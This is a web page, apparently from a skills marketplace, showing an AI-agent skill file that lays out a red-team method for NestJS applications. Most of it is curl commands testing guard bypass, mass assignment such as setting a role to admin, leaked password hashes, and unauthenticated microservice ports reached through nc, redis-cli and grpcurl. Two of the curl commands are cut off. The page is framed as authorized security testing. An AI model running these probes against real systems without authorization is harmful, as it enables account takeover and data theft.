用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill hunt-nestjs命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
基于 SOC 职业分类
正在显示 SKILL.md
| name | hunt-nestjs |
| description | Hunt NestJS-specific vulnerabilities: guard bypass, decorator gaps, and microservice auth drift. |
| category | redteam |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["redteam","nestjs","TypeScript","decorator","guard","microservice","GraphQL"] |
| related_skills | ["hunt-graphql","hunt-api-misconfig","hunt-idor","hunt-write-gap"] |
Hunt NestJS-specific vulnerabilities in guard bypass via decorator stack gaps, Reflector metadata mismatches between global/controller/method guards, ValidationPipe whitelist and transform exploits, and microservice transport authentication drift. NestJS's architectural patterns — decorators, dependency injection, module system, multi-transport support — create unique attack surface across HTTP, WebSocket, and RPC transports.
x-powered-by: NestJS or TypeScript decorator patterns in error messages)./api or /api-json.# NestJS fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/api" | grep -iE "x-powered-by|server"
# Look for: x-powered-by: NestJS
# Swagger docs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api" -w "%{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api-json" | jq '.paths | keys[]' 2>/dev/null
# NestJS guard resolution: global → controller → method
# A @Public() or @SkipAuth() on one method doesn't affect others
# BUT: route parameter confusion can bypass guards
# Test all HTTP methods on guarded endpoints
for method in GET POST PUT PATCH DELETE OPTIONS; do
curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/api/admin/users" \
-w "$method — %{http_code}\n" -o /dev/null
done
# Controller-level guard with method-level override
curl --max-time 30 --connect-timeout 10 -sk
curl --max-time 30 --connect-timeout 10 -sk
# Global guard checks @Roles() metadata
# But controller-level guard may use different metadata key
# This creates gaps where global guard has no metadata to check → passes
# Test endpoints with different role requirements
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users" -H "Authorization: Bearer TOKEN" \
-w "GET users — %{http_code}\n" -o /dev/null
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com/api/users/1" -H "Authorization: Bearer TOKEN" \
-w "DELETE user — %{http_code}\n" -o /dev/null
# Custom parameter decorators may bypass guard checks
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users?userId=VICTIM_ID" \
-H "Authorization: Bearer TOKEN" \
-w "param decorator — %{http_code}\n" -o /dev/null
# ValidationPipe with whitelist: true strips unknown fields
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isAdmin":true}' # isAdmin stripped if not in DTO
# BUT: transform: true enables implicit type conversion
# Primitive types auto-converted → string "true" → boolean true
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" \
-H "Content-Type: application/json" \
-d '{"username":"test","isActive":"true"}' # string coerced to boolean
# ValidationPipe with skipMissingProperties: true
# PATCH with only the fields you want to change — skips validation of missing fields
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/users/me" \
-H "Content-Type: application/json" \
-d '{"role":"admin"}' # only role updated, no other validation
# ClassSerializerInterceptor absence — returns full entity
# With interceptor: returns only @Expose() fields
# Without interceptor: returns ALL entity fields including password hash
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1" | jq 'keys' 2>/dev/null
# Look for: password, passwordHash, secretKey, internalNotes, etc.
# @Exclude() on entity but interceptor not applied globally
# → controller without interceptor leaks excluded fields
# NestJS microservices support multiple transports
# Auth enforced on HTTP may be absent on TCP/Redis/NATS
# TCP transport (default port 3000)
echo '{"pattern":"getUser","data":{"id":1}}' | nc target.com 3000
# Redis transport — check if Redis is exposed
redis-cli -h target.com PUBLISH "get_user" '{"id":1}'
# gRPC transport — check reflection
grpcurl -plaintext target.com:5000 list
# @MessagePattern without @UseGuards()
# → microservice handler has no authentication at all
# @Global() modules export providers to all other modules
# If AuthModule is @Global(), token validation available everywhere
# BUT: some modules may import AuthModule manually and use a WEAKER guard
# CRUD generator auto-endpoints
# nestjsx/crud creates standard CRUD without explicit @UseGuards()
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users" # GET all
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1" # GET one
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users" # CREATE
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/users/1" # UPDATE
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "https://target.com/api/users/1" # DELETE
/api-json for hidden endpoints.@Public() decorator is framework-specific (not built into NestJS). Different projects use @SkipAuth(), @NoAuth(), or @AllowAnonymous().@Res({ passthrough: true }) bypasses the standard response pipeline. Response headers and status codes can be injected.@UseGuards(AuthGuard) at controller level accepts requests at method level without auth.hunt-graphql — NestJS GraphQL endpoints with @nestjs/graphql decorators.hunt-api-misconfig — Broader API misconfigurations including guard and pipe gaps.hunt-idor — Object-level authorization through NestJS parameter decorators.hunt-write-gap — NestJS PATCH endpoints that accept writes without read authorization.